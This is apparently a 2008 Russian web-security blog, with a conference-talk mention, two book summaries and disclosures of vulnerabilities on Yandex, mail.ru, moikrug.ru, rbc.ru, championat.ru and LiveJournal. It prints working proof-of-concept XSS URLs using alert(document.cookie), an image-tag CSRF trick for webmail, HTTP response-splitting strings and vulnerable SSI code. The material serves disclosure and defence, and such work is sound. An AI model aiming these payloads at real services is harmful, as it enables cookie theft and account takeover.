Р?Т-2008 - Fuzzing: ключевая концепция обеспечения безопасности проекта.
На недавно про?ед?ей конференции Р?Т-2008 попытался рассмотреть вопрос информационной безопасности (применительно к web, а еще точнее к интернет-системам) проектов, особенностей и проблем реализации такого типа работ. ?нтерес доклад вызвал у неболь?ого количества специалистов, но он был весьма предметный. Другого ожидать и не приходится: внимание подобным вопросам у нас уделяется немного.
Опубликованы книги “Fuzzing: Brute Force Vulnerability Discovery” и “AJAX Security”


Краткое содержание книги “AJAX Security” (главы), книга “Fuzzing: Brute Force Vulnerability Discovery” описывалась уже ранее в анонсе
- Introduction to Ajax Security
- The Heist
- Web Attacks
- Ajax Attack Surface
- Ajax Code Complexity
- Transparency in Ajax Applications
- Hijacking Ajax Applications
- Attacking Client-Side Storage
- Offline Ajax Applications
- Request Origin Issues
- Web Mashups and Aggregators
- Attacking the Presentation Layer
- JavaScript Worms
- Testing Ajax Applications
- Analysis of Ajax Frameworks
Скачать книги можно здесь (PDF):
AJAX Security, Fuzzing: Brute Force Vulnerability Discovery.
CSRF-уязвимости популярных почтовых служб.

mail.yandex.ru
Тип уязвимости: Межсайтовое выполнение запросов (Cross-site request forgery, CSRF). Недостаточная фильтрация содержимого.
Приложение: Адаптированный TinyMCE
Вредоносный код: <img src=”some_GET_request”/>
mail.ru
Тип уязвимости: Межсайтовое выполнение запросов (Cross-site request forgery, CSRF). Недостаточная фильтрация содержимого.
Приложение: Собственный редактор.
Вредоносный код: <img src=”some_GET_request”/>
Пример использования: При редактировании письма необходимо вставить строку <img src=”some_GET_request”/> в режиме “простой текст” и выполнить переключение в режим “с оформлением”, далее письмо можно смело отправлять и смотреть…
Уязвимости сервисов Яндекса
Множественные XSS-уязвимости.
- Тип уязвимости: Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация содержимого переменной.
Приложение: Поисковые формы на домене .yandex.ru
GET-переменные: text
Примеры: частный случай на проекте Яндекс-Маркет.
http://market.yandex.ru/search.xml?text=%5C'%3Balert(document.cookie)%3B%2F%2F
? т.д. Варианты всевозможные.
Примечание: Необходимо учитывать различия в обработке спецсимволов функциями escape(), encodeURI(), и encodeURIComponent(). Также как и не стоит пренебрегать обязательной фильтрацией содержимого на стороне сервера и полагаться на ненадежную фильтрацию на стороне клиента.
Update: Так исправлять нельзя! Привет разработчикам - http://market.yandex.ru/search.xml?cvredirect=1&text=';alert(document.cookie);// (document.forms[’login’].retpath.value )
Множественные XSS-уязвимости.
- Тип уязвимости: Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация содержимого переменной.
Приложение: /circles/, /circles/{extention}/all/, /circles/{extention}/, /circles/{extention}/all/cloud/, где {extention} - university,interest,company,private,school,link,book,city
GET-переменные: type, viewmode
Примеры:
http://moikrug.ru/circles/private/all/cloud/?keywords=test&viewmode="><script>alert(document.cookie)</script>
http://moikrug.ru/circles/company/?keywords=test&type="><script>alert(document.cookie)</script>
Уязвимости на проектах РосБизнесКонсалтинга
XSS-уязвимости и раскрытие исходного кода на rbc.ru
- Тип уязвимости: Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация содержимого переменной.
Приложение: /cur/cgi-bin/templater.cgi
GET-переменные: ticker_to_name, ticker_from, ticker_to, sum, course
Примеры:
?cfg=converter&ticker_to_name=<script>alert(document.cookie)</script>
? т.д. Варианты всевозможные.
- Тип уязвимости: Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация содержимого переменной.
Приложение: /fnews.demo
GET-переменные: ticker_to_name, ticker_from, ticker_to, sum, course
Примеры:
/?"onmouseover="alert(document.cookie) - Работает в IE.
- Тип уязвимости: Раскрытие исходного кода (Source code disclosure) ->> Внедрение серверных рас?ирений (SSI Injection)
Приложение: /conference/archive.shtml~
Уязвимый блок кода:
<!–#if expr=”$QUERY_STRING” –>
<!–#include virtual=”arc/$QUERY_STRING.shtml” –>
<!–#else –>
<!–#endif –>
Примечание: Необходимо быть очень аккуратным при редактировании кода на боевом сервере. :)
Уязвимость на cards.yandex.ru

XSS-уязвимость на cards.yandex.ru.
- Тип уязвимости: Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация содержимого переменной.
Приложение: /my-card.xml
Примеры:
/my-card.xml?hash=some_hash",eval(alert(document.cookie)),"
Чем опасно? Читаем здесь - http://www.webappsec.org/projects/threat/v1/WASC-TC-v1_0.rus.doc
Уязвимости в проекте SUP Fabrik - championat.ru
Уязвимости wap.championat.ru (pda-версия самого популярного спортивного портала).
?так, продолжаем серию публикаций об уязвимостях в проектах SUP Fabrik.
- Тип уязвимости: Расщепление HTTP-запроса (HTTP Response Splitting)
Приложение: /click, параметр uri
Примеры:
- /click?uri=%0d%0aSet-Cookie:mysite=fuzzing.ru%0a%0d%0a%0dBodyContent
- /click?uri=%0aSet-Cookie:mysite=fuzzing.ru%0a%0d%0a%0dBodyContent
Чем опасно? Читаем здесь - http://www.webappsec.org/projects/threat/v1/WASC-TC-v1_0.rus.doc
- Тип уязвимости: Доступен метод TRACE
Приложение: Nginx, Apache
Подсказка: Метод доступен на backend’е. Начиная с версии 0.5.17 nginx на TRACE возвращает 405, либо необходимо закрывать на Apache.
Чем опасно? - http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf
На днях будет подробное продолжение…
XSS-уязвимости в Livejournal.com
Обнаружены XSS-уязвимости в сервисе блогов Livejournal.com
- Тип уязвимости: Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация содержимого заголовка Expect.
Приложение: Apache до версий 1.3.34/2.0.57/2.2.1 - Не исправлено на данный момент.
Пример использования: http://www.securityfocus.com/archive/1/433280
- Тип уязвимости: Межсайтовое выполнение сценариев (Cross-site Scripting, XSS). Недостаточная фильтрация GET-переменной usejournal.
Приложение: /update.bml - ?справлено.
Примеры использования:
/update.bml?usejournal=>"><script%20%0a%0d>alert(document.cookie)%3B</script>
/update.bml?usejournal=>'><script%20%0a%0d>alert(document.cookie)%3B</script>
/update.bml?usejournal=--><script%20%0a%0d>alert(document.cookie)%3B</script>
Продолжение следует…